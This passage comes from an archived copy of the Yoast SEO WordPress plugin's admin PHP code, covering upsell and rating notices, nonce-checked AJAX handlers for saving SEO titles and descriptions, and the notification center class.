	 * @param string $second_sentence The second sentence of the notification.
	 *
	 * @return string The full notification.
	 */
	protected function get_message( $first_sentence, $second_sentence ) {
		return '<h2>' . __( 'Make sure you don\'t miss out on traffic!', 'wordpress-seo' ) . '</h2>'
			. '<p>'
			. $first_sentence
			. ' ' . $second_sentence
			. ' ' . __( 'You should create a redirect to ensure your visitors do not get a 404 error when they click on the no longer working URL.', 'wordpress-seo' )
			/* translators: %s expands to Yoast SEO Premium */
			. ' ' . sprintf( __( 'With %s, you can easily create such redirects.', 'wordpress-seo' ), 'Yoast SEO Premium' )
			. '</p>'
			. '<p><a class="yoast-button-upsell" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" href="' . WPSEO_Shortlinker::get( 'https://yoa.st/1d0' ) . '" target="_blank">'
			/* translators: %s expands to Yoast SEO Premium */
			. sprintf( __( 'Get %s', 'wordpress-seo' ), 'Yoast SEO Premium' )
			/* translators: Hidden accessibility text. */
			. '<span class="screen-reader-text">' . __( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
			. '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>'
			. '</a></p>';
	}

	/**
	 * Adds a notification to be shown on the next page request since posts are updated in an ajax request.
	 *
	 * @param string $message The message to add to the notification.
	 *
	 * @return void
	 */
	protected function add_notification( $message ) {
		$notification = new Yoast_Notification(
			$message,
			[
				'type'           => 'notice-warning is-dismissible',
				'yoast_branding' => true,
			]
		);

		$notification_center = Yoast_Notification_Center::get();
		$notification_center->add_notification( $notification );
	}
}
wordpress-seo/admin/class-product-upsell-notice.php000064400000013376147510273110016540 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents the upsell notice.
 */
class WPSEO_Product_Upsell_Notice {

	/**
	 * Holds the name of the user meta key.
	 *
	 * The value of this database field holds whether the user has dismissed this notice or not.
	 *
	 * @var string
	 */
	public const USER_META_DISMISSED = 'wpseo-remove-upsell-notice';

	/**
	 * Holds the option name.
	 *
	 * @var string
	 */
	public const OPTION_NAME = 'wpseo';

	/**
	 * Holds the options.
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * Sets the options, because they always have to be there on instance.
	 */
	public function __construct() {
		$this->options = $this->get_options();
	}

	/**
	 * Checks if the notice should be added or removed.
	 *
	 * @return void
	 */
	public function initialize() {
		$this->remove_notification();
	}

	/**
	 * Sets the upgrade notice.
	 *
	 * @return void
	 */
	public function set_upgrade_notice() {

		if ( $this->has_first_activated_on() ) {
			return;
		}

		$this->set_first_activated_on();
		$this->add_notification();
	}

	/**
	 * Listener for the upsell notice.
	 *
	 * @return void
	 */
	public function dismiss_notice_listener() {
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are validating a nonce here.
		if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'dismiss-5star-upsell' ) ) {
			return;
		}

		$dismiss_upsell = isset( $_GET['yoast_dismiss'] ) && is_string( $_GET['yoast_dismiss'] ) ? sanitize_text_field( wp_unslash( $_GET['yoast_dismiss'] ) ) : '';

		if ( $dismiss_upsell !== 'upsell' ) {
			return;
		}

		$this->dismiss_notice();

		if ( wp_safe_redirect( admin_url( 'admin.php?page=wpseo_dashboard' ) ) ) {
			exit;
		}
	}

	/**
	 * When the notice should be shown.
	 *
	 * @return bool
	 */
	protected function should_add_notification() {
		return ( $this->options['first_activated_on'] < strtotime( '-2weeks' ) );
	}

	/**
	 * Checks if the options has a first activated on date value.
	 *
	 * @return bool
	 */
	protected function has_first_activated_on() {
		return $this->options['first_activated_on'] !== false;
	}

	/**
	 * Sets the first activated on.
	 *
	 * @return void
	 */
	protected function set_first_activated_on() {
		$this->options['first_activated_on'] = strtotime( '-2weeks' );

		$this->save_options();
	}

	/**
	 * Adds a notification to the notification center.
	 *
	 * @return void
	 */
	protected function add_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->add_notification( $this->get_notification() );
	}

	/**
	 * Removes a notification to the notification center.
	 *
	 * @return void
	 */
	protected function remove_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification( $this->get_notification() );
	}

	/**
	 * Returns a premium upsell section if using the free plugin.
	 *
	 * @return string
	 */
	protected function get_premium_upsell_section() {
		if ( ! YoastSEO()->helpers->product->is_premium() ) {
			return sprintf(
				/* translators: %1$s expands anchor to premium plugin page, %2$s expands to </a> */
				__( 'By the way, did you know we also have a %1$sPremium plugin%2$s? It offers advanced features, like a redirect manager and support for multiple keyphrases. It also comes with 24/7 personal support.', 'wordpress-seo' ),
				"<a href='" . WPSEO_Shortlinker::get( 'https://yoa.st/premium-notification' ) . "'>",
				'</a>'
			);
		}

		return '';
	}

	/**
	 * Gets the notification value.
	 *
	 * @return Yoast_Notification
	 */
	protected function get_notification() {
		$message = sprintf(
			/* translators: %1$s expands to Yoast SEO, %2$s is a link start tag to the plugin page on WordPress.org, %3$s is the link closing tag. */
			__( 'We\'ve noticed you\'ve been using %1$s for some time now; we hope you love it! We\'d be thrilled if you could %2$sgive us a 5 stars rating on WordPress.org%3$s!', 'wordpress-seo' ),
			'Yoast SEO',
			'<a href="' . WPSEO_Shortlinker::get( 'https://yoa.st/rate-yoast-seo' ) . '">',
			'</a>'
		) . "\n\n";

		$message .= sprintf(
			/* translators: %1$s is a link start tag to the bugreport guidelines on the Yoast help center, %2$s is the link closing tag. */
			__( 'If you are experiencing issues, %1$splease file a bug report%2$s and we\'ll do our best to help you out.', 'wordpress-seo' ),
			'<a href="' . WPSEO_Shortlinker::get( 'https://yoa.st/bugreport' ) . '">',
			'</a>'
		) . "\n\n";

		$message .= $this->get_premium_upsell_section() . "\n\n";

		$message .= '<a class="button" href="' . wp_nonce_url( admin_url( '?page=' . WPSEO_Admin::PAGE_IDENTIFIER . '&yoast_dismiss=upsell' ), 'dismiss-5star-upsell' ) . '">' . __( 'Please don\'t show me this notification anymore', 'wordpress-seo' ) . '</a>';

		$notification = new Yoast_Notification(
			$message,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => 'wpseo-upsell-notice',
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);

		return $notification;
	}

	/**
	 * Dismisses the notice.
	 *
	 * @return bool
	 */
	protected function is_notice_dismissed() {
		return get_user_meta( get_current_user_id(), self::USER_META_DISMISSED, true ) === '1';
	}

	/**
	 * Dismisses the notice.
	 *
	 * @return void
	 */
	protected function dismiss_notice() {
		update_user_meta( get_current_user_id(), self::USER_META_DISMISSED, true );
	}

	/**
	 * Returns the set options.
	 *
	 * @return mixed
	 */
	protected function get_options() {
		return get_option( self::OPTION_NAME );
	}

	/**
	 * Saves the options to the database.
	 *
	 * @return void
	 */
	protected function save_options() {
		update_option( self::OPTION_NAME, $this->options );
	}
}
wordpress-seo/admin/ajax.php000064400000026365147510273110012121 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * Convenience function to JSON encode and echo results and then die.
 *
 * @param array $results Results array for encoding.
 *
 * @return void
 */
function wpseo_ajax_json_echo_die( $results ) {
	// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe.
	echo WPSEO_Utils::format_json_encode( $results );
	die();
}

/**
 * Function used from AJAX calls, takes it variables from $_POST, dies on exit.
 *
 * @return void
 */
function wpseo_set_option() {
	if ( ! current_user_can( 'manage_options' ) ) {
		die( '-1' );
	}

	check_ajax_referer( 'wpseo-setoption' );

	if ( ! isset( $_POST['option'] ) || ! is_string( $_POST['option'] ) ) {
		die( '-1' );
	}

	$option = sanitize_text_field( wp_unslash( $_POST['option'] ) );
	if ( $option !== 'page_comments' ) {
		die( '-1' );
	}

	update_option( $option, 0 );
	die( '1' );
}

add_action( 'wp_ajax_wpseo_set_option', 'wpseo_set_option' );

/**
 * Since 3.2 Notifications are dismissed in the Notification Center.
 */
add_action( 'wp_ajax_yoast_dismiss_notification', [ 'Yoast_Notification_Center', 'ajax_dismiss_notification' ] );

/**
 * Function used to remove the admin notices for several purposes, dies on exit.
 *
 * @return void
 */
function wpseo_set_ignore() {
	if ( ! current_user_can( 'manage_options' ) ) {
		die( '-1' );
	}

	check_ajax_referer( 'wpseo-ignore' );

	if ( ! isset( $_POST['option'] ) || ! is_string( $_POST['option'] ) ) {
		die( '-1' );
	}

	$ignore_key = sanitize_text_field( wp_unslash( $_POST['option'] ) );
	WPSEO_Options::set( 'ignore_' . $ignore_key, true );

	die( '1' );
}

add_action( 'wp_ajax_wpseo_set_ignore', 'wpseo_set_ignore' );

/**
 * Save an individual SEO title from the Bulk Editor.
 *
 * @return void
 */
function wpseo_save_title() {
	wpseo_save_what( 'title' );
}

add_action( 'wp_ajax_wpseo_save_title', 'wpseo_save_title' );

/**
 * Save an individual meta description from the Bulk Editor.
 *
 * @return void
 */
function wpseo_save_description() {
	wpseo_save_what( 'metadesc' );
}

add_action( 'wp_ajax_wpseo_save_metadesc', 'wpseo_save_description' );

/**
 * Save titles & descriptions.
 *
 * @param string $what Type of item to save (title, description).
 *
 * @return void
 */
function wpseo_save_what( $what ) {
	check_ajax_referer( 'wpseo-bulk-editor' );

	if ( ! isset( $_POST['new_value'], $_POST['wpseo_post_id'], $_POST['existing_value'] ) || ! is_string( $_POST['new_value'] ) || ! is_string( $_POST['existing_value'] ) ) {
		die( '-1' );
	}

	$new = sanitize_text_field( wp_unslash( $_POST['new_value'] ) );
	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting the unsafe value to an integer.
	$post_id  = (int) wp_unslash( $_POST['wpseo_post_id'] );
	$original = sanitize_text_field( wp_unslash( $_POST['existing_value'] ) );

	if ( $post_id === 0 ) {
		die( '-1' );
	}

	$results = wpseo_upsert_new( $what, $post_id, $new, $original );

	wpseo_ajax_json_echo_die( $results );
}

/**
 * Helper function to update a post's meta data, returning relevant information
 * about the information updated and the results or the meta update.
 *
 * @param int    $post_id         Post ID.
 * @param string $new_meta_value  New meta value to record.
 * @param string $orig_meta_value Original meta value.
 * @param string $meta_key        Meta key string.
 * @param string $return_key      Return key string to use in results.
 *
 * @return array
 */
function wpseo_upsert_meta( $post_id, $new_meta_value, $orig_meta_value, $meta_key, $return_key ) {

	$post_id                  = intval( $post_id );
	$sanitized_new_meta_value = wp_strip_all_tags( $new_meta_value );
	$orig_meta_value          = wp_strip_all_tags( $orig_meta_value );

	$upsert_results = [
		'status'                 => 'success',
		'post_id'                => $post_id,
		"new_{$return_key}"      => $sanitized_new_meta_value,
		"original_{$return_key}" => $orig_meta_value,
	];

	$the_post = get_post( $post_id );
	if ( empty( $the_post ) ) {

		$upsert_results['status']  = 'failure';
		$upsert_results['results'] = __( 'Post doesn\'t exist.', 'wordpress-seo' );

		return $upsert_results;
	}

	$post_type_object = get_post_type_object( $the_post->post_type );
	if ( ! $post_type_object ) {

		$upsert_results['status']  = 'failure';
		$upsert_results['results'] = sprintf(
			/* translators: %s expands to post type. */
			__( 'Post has an invalid Content Type: %s.', 'wordpress-seo' ),
			$the_post->post_type
		);

		return $upsert_results;
	}

	if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) {

		$upsert_results['status']  = 'failure';
		$upsert_results['results'] = sprintf(
			/* translators: %s expands to post type name. */
			__( 'You can\'t edit %s.', 'wordpress-seo' ),
			$post_type_object->label
		);

		return $upsert_results;
	}

	if ( ! current_user_can( $post_type_object->cap->edit_others_posts ) && (int) $the_post->post_author !== get_current_user_id() ) {

		$upsert_results['status']  = 'failure';
		$upsert_results['results'] = sprintf(
			/* translators: %s expands to the name of a post type (plural). */
			__( 'You can\'t edit %s that aren\'t yours.', 'wordpress-seo' ),
			$post_type_object->label
		);

		return $upsert_results;
	}

	if ( $sanitized_new_meta_value === $orig_meta_value && $sanitized_new_meta_value !== $new_meta_value ) {
		$upsert_results['status']  = 'failure';
		$upsert_results['results'] = __( 'You have used HTML in your value which is not allowed.', 'wordpress-seo' );

		return $upsert_results;
	}

	$res = update_post_meta( $post_id, $meta_key, $sanitized_new_meta_value );

	$upsert_results['status']  = ( $res !== false ) ? 'success' : 'failure';
	$upsert_results['results'] = $res;

	return $upsert_results;
}

/**
 * Save all titles sent from the Bulk Editor.
 *
 * @return void
 */
function wpseo_save_all_titles() {
	wpseo_save_all( 'title' );
}

add_action( 'wp_ajax_wpseo_save_all_titles', 'wpseo_save_all_titles' );

/**
 * Save all description sent from the Bulk Editor.
 *
 * @return void
 */
function wpseo_save_all_descriptions() {
	wpseo_save_all( 'metadesc' );
}

add_action( 'wp_ajax_wpseo_save_all_descriptions', 'wpseo_save_all_descriptions' );

/**
 * Utility function to save values.
 *
 * @param string $what Type of item so save.
 *
 * @return void
 */
function wpseo_save_all( $what ) {
	check_ajax_referer( 'wpseo-bulk-editor' );

	$results = [];
	if ( ! isset( $_POST['items'], $_POST['existingItems'] ) ) {
		wpseo_ajax_json_echo_die( $results );
	}

	$new_values      = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], wp_unslash( (array) $_POST['items'] ) );
	$original_values = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], wp_unslash( (array) $_POST['existingItems'] ) );

	foreach ( $new_values as $post_id => $new_value ) {
		$original_value = $original_values[ $post_id ];
		$results[]      = wpseo_upsert_new( $what, $post_id, $new_value, $original_value );
	}

	wpseo_ajax_json_echo_die( $results );
}

/**
 * Insert a new value.
 *
 * @param string $what      Item type (such as title).
 * @param int    $post_id   Post ID.
 * @param string $new_value New value to record.
 * @param string $original  Original value.
 *
 * @return string
 */
function wpseo_upsert_new( $what, $post_id, $new_value, $original ) {
	$meta_key = WPSEO_Meta::$meta_prefix . $what;

	return wpseo_upsert_meta( $post_id, $new_value, $original, $meta_key, $what );
}

/**
 * Retrieves the post ids where the keyword is used before as well as the types of those posts.
 *
 * @return void
 */
function ajax_get_keyword_usage_and_post_types() {
	check_ajax_referer( 'wpseo-keyword-usage-and-post-types', 'nonce' );

	if ( ! isset( $_POST['post_id'], $_POST['keyword'] ) || ! is_string( $_POST['keyword'] ) ) {
		die( '-1' );
	}

	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We are casting to an integer.
	$post_id = (int) wp_unslash( $_POST['post_id'] );

	if ( $post_id === 0 || ! current_user_can( 'edit_post', $post_id ) ) {
		die( '-1' );
	}

	$keyword = sanitize_text_field( wp_unslash( $_POST['keyword'] ) );

	$post_ids = WPSEO_Meta::keyword_usage( $keyword, $post_id );

	if ( ! empty( $post_ids ) ) {
		$post_types = WPSEO_Meta::post_types_for_ids( $post_ids );
	}
	else {
		$post_types = [];
	}

	$return_object = [
		'keyword_usage' => $post_ids,
		'post_types'    => $post_types,
	];

	wp_die(
		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe.
		WPSEO_Utils::format_json_encode( $return_object )
	);
}

add_action( 'wp_ajax_get_focus_keyword_usage_and_post_types', 'ajax_get_keyword_usage_and_post_types' );


/**
 * Retrieves the keyword for the keyword doubles of the termpages.
 *
 * @return void
 */
function ajax_get_term_keyword_usage() {
	check_ajax_referer( 'wpseo-keyword-usage', 'nonce' );

	if ( ! isset( $_POST['post_id'], $_POST['keyword'], $_POST['taxonomy'] ) || ! is_string( $_POST['keyword'] ) || ! is_string( $_POST['taxonomy'] ) ) {
		wp_die( -1 );
	}

	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting the unsafe input to an integer.
	$post_id = (int) wp_unslash( $_POST['post_id'] );

	if ( $post_id === 0 ) {
		wp_die( -1 );
	}

	$keyword       = sanitize_text_field( wp_unslash( $_POST['keyword'] ) );
	$taxonomy_name = sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) );

	$taxonomy = get_taxonomy( $taxonomy_name );

	if ( ! $taxonomy ) {
		wp_die( 0 );
	}

	if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
		wp_die( -1 );
	}

	$usage = WPSEO_Taxonomy_Meta::get_keyword_usage( $keyword, $post_id, $taxonomy_name );

	// Normalize the result so it is the same as the post keyword usage AJAX request.
	$usage = $usage[ $keyword ];

	wp_die(
		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe.
		WPSEO_Utils::format_json_encode( $usage )
	);
}

add_action( 'wp_ajax_get_term_keyword_usage', 'ajax_get_term_keyword_usage' );

/**
 * Registers hooks for all AJAX integrations.
 *
 * @return void
 */
function wpseo_register_ajax_integrations() {
	$integrations = [ new Yoast_Network_Admin() ];

	foreach ( $integrations as $integration ) {
		$integration->register_ajax_hooks();
	}
}

wpseo_register_ajax_integrations();

new WPSEO_Shortcode_Filter();

new WPSEO_Taxonomy_Columns();

/* ********************* DEPRECATED FUNCTIONS ********************* */

/**
 * Retrieves the keyword for the keyword doubles.
 *
 * @return void
 */
function ajax_get_keyword_usage() {
	_deprecated_function( __METHOD__, 'WPSEO 20.4' );
	check_ajax_referer( 'wpseo-keyword-usage', 'nonce' );

	if ( ! isset( $_POST['post_id'], $_POST['keyword'] ) || ! is_string( $_POST['keyword'] ) ) {
		die( '-1' );
	}

	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We are casting to an integer.
	$post_id = (int) wp_unslash( $_POST['post_id'] );

	if ( $post_id === 0 || ! current_user_can( 'edit_post', $post_id ) ) {
		die( '-1' );
	}

	$keyword = sanitize_text_field( wp_unslash( $_POST['keyword'] ) );

	wp_die(
		// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe.
		WPSEO_Utils::format_json_encode( WPSEO_Meta::keyword_usage( $keyword, $post_id ) )
	);
}
wordpress-seo/admin/interface-installable.php000064400000000376147510273110015420 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents the interface for an installable object.
 */
interface WPSEO_Installable {

	/**
	 * Runs the installation routine.
	 *
	 * @return void
	 */
	public function install();
}
wordpress-seo/admin/index.php000064400000000046147510273110012271 0ustar00<?php
/**
 * Nothing to see here.
 */
wordpress-seo/admin/class-admin-gutenberg-compatibility-notification.php000064400000005062147510273110022673 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Handles the Gutenberg Compatibility notification showing and hiding.
 */
class WPSEO_Admin_Gutenberg_Compatibility_Notification implements WPSEO_WordPress_Integration {

	/**
	 * Notification ID to use.
	 *
	 * @var string
	 */
	private $notification_id = 'wpseo-outdated-gutenberg-plugin';

	/**
	 * Instance of gutenberg compatibility checker.
	 *
	 * @var WPSEO_Gutenberg_Compatibility
	 */
	protected $compatibility_checker;

	/**
	 * Instance of Yoast Notification Center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * WPSEO_Admin_Gutenberg_Compatibility_Notification constructor.
	 */
	public function __construct() {
		$this->compatibility_checker = new WPSEO_Gutenberg_Compatibility();
		$this->notification_center   = Yoast_Notification_Center::get();
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_init', [ $this, 'manage_notification' ] );
	}

	/**
	 * Manages if the notification should be shown or removed.
	 *
	 * @return void
	 */
	public function manage_notification() {
		/**
		 * Filter: 'yoast_display_gutenberg_compat_notification' - Allows developer to disable the Gutenberg compatibility
		 * notification.
		 *
		 * @param bool $display_notification
		 */
		$display_notification = apply_filters( 'yoast_display_gutenberg_compat_notification', true );

		if (
			! $this->compatibility_checker->is_installed()
			|| $this->compatibility_checker->is_fully_compatible()
			|| ! $display_notification
		) {
			$this->notification_center->remove_notification_by_id( $this->notification_id );

			return;
		}

		$this->add_notification();
	}

	/**
	 * Adds the notification to the notificaton center.
	 *
	 * @return void
	 */
	protected function add_notification() {
		$level = $this->compatibility_checker->is_below_minimum() ? Yoast_Notification::ERROR : Yoast_Notification::WARNING;

		$message = sprintf(
			/* translators: %1$s expands to Yoast SEO, %2$s expands to the installed version, %3$s expands to Gutenberg */
			__( '%1$s detected you are using version %2$s of %3$s, please update to the latest version to prevent compatibility issues.', 'wordpress-seo' ),
			'Yoast SEO',
			$this->compatibility_checker->get_installed_version(),
			'Gutenberg'
		);

		$notification = new Yoast_Notification(
			$message,
			[
				'id'       => $this->notification_id,
				'type'     => $level,
				'priority' => 1,
			]
		);

		$this->notification_center->add_notification( $notification );
	}
}
wordpress-seo/admin/class-yoast-notification-center.php000064400000064126147510273110017377 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Notifications
 */

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Handles notifications storage and display.
 */
class Yoast_Notification_Center {

	/**
	 * Option name to store notifications on.
	 *
	 * @var string
	 */
	public const STORAGE_KEY = 'yoast_notifications';

	/**
	 * The singleton instance of this object.
	 *
	 * @var Yoast_Notification_Center
	 */
	private static $instance = null;

	/**
	 * Holds the notifications.
	 *
	 * @var Yoast_Notification[][]
	 */
	private $notifications = [];

	/**
	 * Notifications there are newly added.
	 *
	 * @var array
	 */
	private $new = [];

	/**
	 * Notifications that were resolved this execution.
	 *
	 * @var int
	 */
	private $resolved = 0;

	/**
	 * Internal storage for transaction before notifications have been retrieved from storage.
	 *
	 * @var array
	 */
	private $queued_transactions = [];

	/**
	 * Internal flag for whether notifications have been retrieved from storage.
	 *
	 * @var bool
	 */
	private $notifications_retrieved = false;

	/**
	 * Internal flag for whether notifications need to be updated in storage.
	 *
	 * @var bool
	 */
	private $notifications_need_storage = false;

	/**
	 * Construct.
	 */
	private function __construct() {

		add_action( 'init', [ $this, 'setup_current_notifications' ], 1 );

		add_action( 'all_admin_notices', [ $this, 'display_notifications' ] );

		add_action( 'wp_ajax_yoast_get_notifications', [ $this, 'ajax_get_notifications' ] );

		add_action( 'wpseo_deactivate', [ $this, 'deactivate_hook' ] );
		add_action( 'shutdown', [ $this, 'update_storage' ] );
	}

	/**
	 * Singleton getter.
	 *
	 * @return Yoast_Notification_Center
	 */
	public static function get() {

		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Dismiss a notification.
	 *
	 * @return void
	 */
	public static function ajax_dismiss_notification() {
		$notification_center = self::get();

		if ( ! isset( $_POST['notification'] ) || ! is_string( $_POST['notification'] ) ) {
			die( '-1' );
		}

		$notification_id = sanitize_text_field( wp_unslash( $_POST['notification'] ) );

		if ( empty( $notification_id ) ) {
			die( '-1' );
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are using the variable as a nonce.
		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['nonce'] ), $notification_id ) ) {
			die( '-1' );
		}

		$notification = $notification_center->get_notification_by_id( $notification_id );
		if ( ( $notification instanceof Yoast_Notification ) === false ) {

			// Permit legacy.
			$options      = [
				'id'            => $notification_id,
				'dismissal_key' => $notification_id,
			];
			$notification = new Yoast_Notification( '', $options );
		}

		if ( self::maybe_dismiss_notification( $notification ) ) {
			die( '1' );
		}

		die( '-1' );
	}

	/**
	 * Check if the user has dismissed a notification.
	 *
	 * @param Yoast_Notification $notification The notification to check for dismissal.
	 * @param int|null           $user_id      User ID to check on.
	 *
	 * @return bool
	 */
	public static function is_notification_dismissed( Yoast_Notification $notification, $user_id = null ) {

		$user_id       = self::get_user_id( $user_id );
		$dismissal_key = $notification->get_dismissal_key();

		// This checks both the site-specific user option and the meta value.
		$current_value = get_user_option( $dismissal_key, $user_id );

		// Migrate old user meta to user option on-the-fly.
		if ( ! empty( $current_value )
			&& metadata_exists( 'user', $user_id, $dismissal_key )
			&& update_user_option( $user_id, $dismissal_key, $current_value ) ) {
			delete_user_meta( $user_id, $dismissal_key );
		}

		return ! empty( $current_value );
	}

	/**
	 * Checks if the notification is being dismissed.
	 *
	 * @param Yoast_Notification $notification Notification to check dismissal of.
	 * @param string             $meta_value   Value to set the meta value to if dismissed.
	 *
	 * @return bool True if dismissed.
	 */
	public static function maybe_dismiss_notification( Yoast_Notification $notification, $meta_value = 'seen' ) {

		// Only persistent notifications are dismissible.
		if ( ! $notification->is_persistent() ) {
			return false;
		}

		// If notification is already dismissed, we're done.
		if ( self::is_notification_dismissed( $notification ) ) {
			return true;
		}

		$dismissal_key   = $notification->get_dismissal_key();
		$notification_id = $notification->get_id();

		$is_dismissing = ( $dismissal_key === self::get_user_input( 'notification' ) );
		if ( ! $is_dismissing ) {
			$is_dismissing = ( $notification_id === self::get_user_input( 'notification' ) );
		}

		// Fallback to ?dismissal_key=1&nonce=bla when JavaScript fails.
		if ( ! $is_dismissing ) {
			$is_dismissing = ( self::get_user_input( $dismissal_key ) === '1' );
		}

		if ( ! $is_dismissing ) {
			return false;
		}

		$user_nonce = self::get_user_input( 'nonce' );
		if ( wp_verify_nonce( $user_nonce, $notification_id ) === false ) {
			return false;
		}

		return self::dismiss_notification( $notification, $meta_value );
	}

	/**
	 * Dismisses a notification.
	 *
	 * @param Yoast_Notification $notification Notification to dismiss.
	 * @param string             $meta_value   Value to save in the dismissal.
	 *
	 * @return bool True if dismissed, false otherwise.
	 */
	public static function dismiss_notification( Yoast_Notification $notification, $meta_value = 'seen' ) {
		// Dismiss notification.
		return update_user_option( get_current_user_id(), $notification->get_dismissal_key(), $meta_value ) !== false;
	}

	/**
	 * Restores a notification.
	 *
	 * @param Yoast_Notification $notification Notification to restore.
	 *
	 * @return bool True if restored, false otherwise.
	 */
	public static function restore_notification( Yoast_Notification $notification ) {

		$user_id       = get_current_user_id();
		$dismissal_key = $notification->get_dismissal_key();

		// Restore notification.
		$restored = delete_user_option( $user_id, $dismissal_key );

		// Delete unprefixed user meta too for backward-compatibility.
		if ( metadata_exists( 'user', $user_id, $dismissal_key ) ) {
			$restored = delete_user_meta( $user_id, $dismissal_key ) && $restored;
		}

		return $restored;
	}

	/**
	 * Clear dismissal information for the specified Notification.
	 *
	 * When a cause is resolved, the next time it is present we want to show
	 * the message again.
	 *
	 * @param string|Yoast_Notification $notification Notification to clear the dismissal of.
	 *
	 * @return bool
	 */
	public function clear_dismissal( $notification ) {

		global $wpdb;

		if ( $notification instanceof Yoast_Notification ) {
			$dismissal_key = $notification->get_dismissal_key();
		}

		if ( is_string( $notification ) ) {
			$dismissal_key = $notification;
		}

		if ( empty( $dismissal_key ) ) {
			return false;
		}

		// Remove notification dismissal for all users.
		$deleted = delete_metadata( 'user', 0, $wpdb->get_blog_prefix() . $dismissal_key, '', true );

		// Delete unprefixed user meta too for backward-compatibility.
		$deleted = delete_metadata( 'user', 0, $dismissal_key, '', true ) || $deleted;

		return $deleted;
	}

	/**
	 * Retrieves notifications from the storage and merges in previous notification changes.
	 *
	 * The current user in WordPress is not loaded shortly before the 'init' hook, but the plugin
	 * sometimes needs to add or remove notifications before that. In such cases, the transactions
	 * are not actually executed, but added to a queue. That queue is then handled in this method,
	 * after notifications for the current user have been set up.
	 *
	 * @return void
	 */
	public function setup_current_notifications() {
		$this->retrieve_notifications_from_storage( get_current_user_id() );

		foreach ( $this->queued_transactions as $transaction ) {
			list( $callback, $args ) = $transaction;

			call_user_func_array( $callback, $args );
		}

		$this->queued_transactions = [];
	}

	/**
	 * Add notification to the cookie.
	 *
	 * @param Yoast_Notification $notification Notification object instance.
	 *
	 * @return void
	 */
	public function add_notification( Yoast_Notification $notification ) {

		$callback = [ $this, __FUNCTION__ ];
		$args     = func_get_args();
		if ( $this->queue_transaction( $callback, $args ) ) {
			return;
		}

		// Don't add if the user can't see it.
		if ( ! $notification->display_for_current_user() ) {
			return;
		}

		$notification_id = $notification->get_id();
		$user_id         = $notification->get_user_id();

		// Empty notifications are always added.
		if ( $notification_id !== '' ) {

			// If notification ID exists in notifications, don't add again.
			$present_notification = $this->get_notification_by_id( $notification_id, $user_id );
			if ( ! is_null( $present_notification ) ) {
				$this->remove_notification( $present_notification, false );
			}

			if ( is_null( $present_notification ) ) {
				$this->new[] = $notification_id;
			}
		}

		// Add to list.
		$this->notifications[ $user_id ][] = $notification;

		$this->notifications_need_storage = true;
	}

	/**
	 * Get the notification by ID and user ID.
	 *
	 * @param string   $notification_id The ID of the notification to search for.
	 * @param int|null $user_id         The ID of the user.
	 *
	 * @return Yoast_Notification|null
	 */
	public function get_notification_by_id( $notification_id, $user_id = null ) {
		$user_id = self::get_user_id( $user_id );

		$notifications = $this->get_notifications_for_user( $user_id );

		foreach ( $notifications as $notification ) {
			if ( $notification_id === $notification->get_id() ) {
				return $notification;
			}
		}

		return null;
	}

	/**
	 * Display the notifications.
	 *
	 * @param bool $echo_as_json True when notifications should be printed directly.
	 *
	 * @return void
	 */
	public function display_notifications( $echo_as_json = false ) {

		// Never display notifications for network admin.
		if ( is_network_admin() ) {
			return;
		}

		$sorted_notifications = $this->get_sorted_notifications();
		$notifications        = array_filter( $sorted_notifications, [ $this, 'is_notification_persistent' ] );

		if ( empty( $notifications ) ) {
			return;
		}

		array_walk( $notifications, [ $this, 'remove_notification' ] );

		$notifications = array_unique( $notifications );
		if ( $echo_as_json ) {
			$notification_json = [];

			foreach ( $notifications as $notification ) {
				$notification_json[] = $notification->render();
			}

			// phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe.
			echo WPSEO_Utils::format_json_encode( $notification_json );

			return;
		}

		foreach ( $notifications as $notification ) {
